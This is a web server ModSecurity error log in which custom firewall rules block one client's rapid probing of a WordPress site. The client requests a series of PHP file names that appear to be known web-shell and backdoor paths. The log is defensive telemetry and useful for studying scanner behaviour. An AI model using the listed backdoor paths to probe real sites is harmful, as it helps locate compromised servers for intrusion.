[Thu Dec 11 20:42:12.272106 2025] [:error] [pid 57991:tid 58043] [client 52.230.86.213:60303] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aTq8JKPyGmNXA2ZsETa2ygAAAFU"]
[Thu Dec 11 20:42:12.475682 2025] [:error] [pid 57991:tid 58026] [client 52.230.86.213:60314] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aTq8JKPyGmNXA2ZsETa2ywAAAEQ"]
[Thu Dec 11 20:42:12.677904 2025] [:error] [pid 24483:tid 24494] [client 52.230.86.213:51022] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aTq8JFGHKh2d_uVkopRfRgAAAgk"]
[Thu Dec 11 20:42:12.860420 2025] [:error] [pid 24527:tid 24562] [client 52.230.86.213:62354] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aTq8JF9_glvtS5vXiTUHUQAAAoY"]
[Thu Dec 11 20:42:13.039482 2025] [:error] [pid 24483:tid 24489] [client 52.230.86.213:60327] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aTq8JVGHKh2d_uVkopRfRwAAAgQ"]
[Thu Dec 11 20:42:13.243051 2025] [:error] [pid 58814:tid 58840] [client 52.230.86.213:62342] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aTq8Jdiz0l9AD_3pkMwzmAAAAdg"]
[Thu Dec 11 20:42:13.444645 2025] [:error] [pid 24483:tid 24495] [client 52.230.86.213:51038] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aTq8JVGHKh2d_uVkopRfSQAAAgo"]
[Thu Dec 11 20:42:13.620794 2025] [:error] [pid 48261:tid 48275] [client 52.230.86.213:51071] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aTq8JeyPI4WU-4JmiQPAdwAAAYs"]
[Thu Dec 11 20:42:13.803812 2025] [:error] [pid 57992:tid 58066] [client 52.230.86.213:55697] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aTq8JeUeau0BMFF2vHmyVwAAAJE"]
[Thu Dec 11 20:42:14.044933 2025] [:error] [pid 58099:tid 58105] [client 52.230.86.213:50397] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aTq8JsKZVSF_bdPFqRgX8QAAAMQ"]
[Thu Dec 11 20:42:14.227874 2025] [:error] [pid 58099:tid 58103] [client 52.230.86.213:50389] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aTq8JsKZVSF_bdPFqRgX8gAAAMI"]
[Thu Dec 11 20:42:14.432753 2025] [:error] [pid 58099:tid 58121] [client 52.230.86.213:60336] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTq8JsKZVSF_bdPFqRgX8wAAANQ"]
[Thu Dec 11 20:42:14.643486 2025] [:error] [pid 58099:tid 58113] [client 52.230.86.213:18897] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTq8JsKZVSF_bdPFqRgX9AAAAMw"]
[Thu Dec 11 20:42:14.884043 2025] [:error] [pid 57991:tid 58034] [client 52.230.86.213:18640] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTq8JqPyGmNXA2ZsETa20AAAAEw"]
[Thu Dec 11 20:42:15.136531 2025] [:error] [pid 48261:tid 48287] [client 52.230.86.213:62356] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTq8J-yPI4WU-4JmiQPAewAAAZc"]
[Thu Dec 11 20:42:15.316756 2025] [:error] [pid 48261:tid 48268] [client 52.230.86.213:18920] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aTq8J-yPI4WU-4JmiQPAfAAAAYQ"]
[Thu Dec 11 20:42:15.492034 2025] [:error] [pid 48261:tid 48278] [client 52.230.86.213:51026] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aTq8J-yPI4WU-4JmiQPAfgAAAY4"]
[Thu Dec 11 20:42:15.667129 2025] [:error] [pid 48261:tid 48269] [client 52.230.86.213:51035] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aTq8J-yPI4WU-4JmiQPAfwAAAYU"]
[Thu Dec 11 20:42:15.866588 2025] [:error] [pid 48261:tid 48279] [client 52.230.86.213:18891] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aTq8J-yPI4WU-4JmiQPAgAAAAY8"]
[Thu Dec 11 20:42:16.136619 2025] [:error] [pid 57991:tid 58036] [client 52.230.86.213:18671] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aTq8KKPyGmNXA2ZsETa20QAAAE4"]
[Thu Dec 11 20:42:16.334626 2025] [:error] [pid 57991:tid 58040] [client 52.230.86.213:55681] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aTq8KKPyGmNXA2ZsETa20gAAAFI"]
[Thu Dec 11 20:42:16.527864 2025] [:error] [pid 35112:tid 35133] [client 52.230.86.213:34452] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aTq8KJ9ZpQ0WIeJhsJdq_QAAAVM"]
[Thu Dec 11 20:42:16.702891 2025] [:error] [pid 57990:tid 58009] [client 52.230.86.213:51015] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aTq8KAqZT_dc36fQdXGDzAAAAA4"]
[Thu Dec 11 20:42:16.887497 2025] [:error] [pid 57990:tid 58010] [client 52.230.86.213:50385] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTq8KAqZT_dc36fQdXGDzQAAAA8"]
[Thu Dec 11 20:42:17.167510 2025] [:error] [pid 27459:tid 27472] [client 52.230.86.213:51058] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTq8KVhPEXihPBKMpRNeEwAAAQs"]
[Thu Dec 11 20:42:17.360038 2025] [:error] [pid 27459:tid 27466] [client 52.230.86.213:62397] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTq8KVhPEXihPBKMpRNeFAAAAQU"]
[Thu Dec 11 20:42:17.608695 2025] [:error] [pid 57992:tid 58049] [client 52.230.86.213:60319] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTq8KeUeau0BMFF2vHmyWgAAAIA"]
[Thu Dec 11 20:42:17.790330 2025] [:error] [pid 24483:tid 24486] [client 52.230.86.213:18666] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTq8KVGHKh2d_uVkopRfTwAAAgE"]
[Thu Dec 11 20:42:17.966609 2025] [:error] [pid 35112:tid 35126] [client 52.230.86.213:60318] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTq8KZ9ZpQ0WIeJhsJdq_wAAAUw"]
[Thu Dec 11 20:42:18.141998 2025] [:error] [pid 48261:tid 48271] [client 52.230.86.213:50408] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTq8KuyPI4WU-4JmiQPAhQAAAYc"]
[Thu Dec 11 20:42:18.321202 2025] [:error] [pid 27459:tid 27475] [client 52.230.86.213:18795] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTq8KlhPEXihPBKMpRNeFgAAAQ4"]
[Thu Dec 11 20:42:18.520291 2025] [:error] [pid 27459:tid 27476] [client 52.230.86.213:51044] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aTq8KlhPEXihPBKMpRNeFwAAAQ8"]
[Thu Dec 11 20:42:18.700264 2025] [:error] [pid 48261:tid 48273] [client 52.230.86.213:18779] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTq8KuyPI4WU-4JmiQPAhwAAAYk"]
[Thu Dec 11 20:42:18.882087 2025] [:error] [pid 57992:tid 58071] [client 52.230.86.213:18805] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTq8KuUeau0BMFF2vHmyXQAAAJY"]
[Thu Dec 11 20:42:19.124297 2025] [:error] [pid 58099:tid 58119] [client 52.230.86.213:60313] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTq8K8KZVSF_bdPFqRgX9gAAANI"]
[Thu Dec 11 20:42:19.334868 2025] [:error] [pid 58099:tid 58106] [client 52.230.86.213:60347] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aTq8K8KZVSF_bdPFqRgX-AAAAMU"]
[Thu Dec 11 20:42:19.509872 2025] [:error] [pid 58099:tid 58114] [client 52.230.86.213:62391] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aTq8K8KZVSF_bdPFqRgX-QAAAM0"]
[Thu Dec 11 20:42:19.689695 2025] [:error] [pid 24483:tid 24506] [client 52.230.86.213:51068] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aTq8K1GHKh2d_uVkopRfUAAAAhU"]
[Thu Dec 11 20:42:19.884017 2025] [:error] [pid 24483:tid 24508] [client 52.230.86.213:62355] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aTq8K1GHKh2d_uVkopRfUgAAAhc"]
[Thu Dec 11 20:42:20.101013 2025] [:error] [pid 24483:tid 24505] [client 52.230.86.213:50391] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTq8LFGHKh2d_uVkopRfUwAAAhQ"]
[Thu Dec 11 20:42:20.285094 2025] [:error] [pid 57991:tid 58024] [client 52.230.86.213:18912] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTq8LKPyGmNXA2ZsETa23AAAAEI"]
[Thu Dec 11 20:42:20.482933 2025] [:error] [pid 57991:tid 58037] [client 52.230.86.213:18769] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTq8LKPyGmNXA2ZsETa23gAAAE8"]
[Thu Dec 11 20:42:20.657737 2025] [:error] [pid 57991:tid 58028] [client 52.230.86.213:60334] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTq8LKPyGmNXA2ZsETa24AAAAEY"]
[Thu Dec 11 20:42:20.842564 2025] [:error] [pid 58099:tid 58125] [client 52.230.86.213:60346] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTq8LMKZVSF_bdPFqRgX_QAAANg"]
[Thu Dec 11 20:42:21.191836 2025] [:error] [pid 24483:tid 24494] [client 52.230.86.213:62385] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTq8LVGHKh2d_uVkopRfWAAAAgk"]
[Thu Dec 11 20:42:21.375376 2025] [:error] [pid 24483:tid 24489] [client 52.230.86.213:18811] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTq8LVGHKh2d_uVkopRfWQAAAgQ"]
[Thu Dec 11 20:42:21.556247 2025] [:error] [pid 48261:tid 48264] [client 52.230.86.213:60341] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTq8LeyPI4WU-4JmiQPAiwAAAYA"]
[Thu Dec 11 20:42:21.761327 2025] [:error] [pid 35112:tid 35118] [client 52.230.86.213:60304] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aTq8LZ9ZpQ0WIeJhsJdrAQAAAUQ"]
[Thu Dec 11 20:42:21.978218 2025] [:error] [pid 24527:tid 24556] [client 52.230.86.213:51024] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aTq8LV9_glvtS5vXiTUHVgAAAoA"]
[Thu Dec 11 20:42:22.178317 2025] [:error] [pid 27459:tid 27465] [client 52.230.86.213:18781] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aTq8LlhPEXihPBKMpRNeGAAAAQQ"]
[Thu Dec 11 20:42:22.375268 2025] [:error] [pid 58099:tid 58123] [client 52.230.86.213:49273] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aTq8LsKZVSF_bdPFqRgYAgAAANY"]
[Thu Dec 11 20:42:22.582692 2025] [:error] [pid 27459:tid 27470] [client 52.230.86.213:60293] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTq8LlhPEXihPBKMpRNeGQAAAQk"]
[Thu Dec 11 20:42:22.762264 2025] [:error] [pid 58099:tid 58117] [client 52.230.86.213:19015] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTq8LsKZVSF_bdPFqRgYAwAAANA"]
[Thu Dec 11 20:42:22.957996 2025] [:error] [pid 58814:tid 58835] [client 52.230.86.213:18675] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTq8Ltiz0l9AD_3pkMwzoAAAAdM"]
[Thu Dec 11 20:42:23.149133 2025] [:error] [pid 57990:tid 58000] [client 52.230.86.213:50369] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTq8LwqZT_dc36fQdXGD0QAAAAU"]
[Thu Dec 11 20:42:23.338116 2025] [:error] [pid 57990:tid 57995] [client 52.230.86.213:51061] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTq8LwqZT_dc36fQdXGD0wAAAAA"]
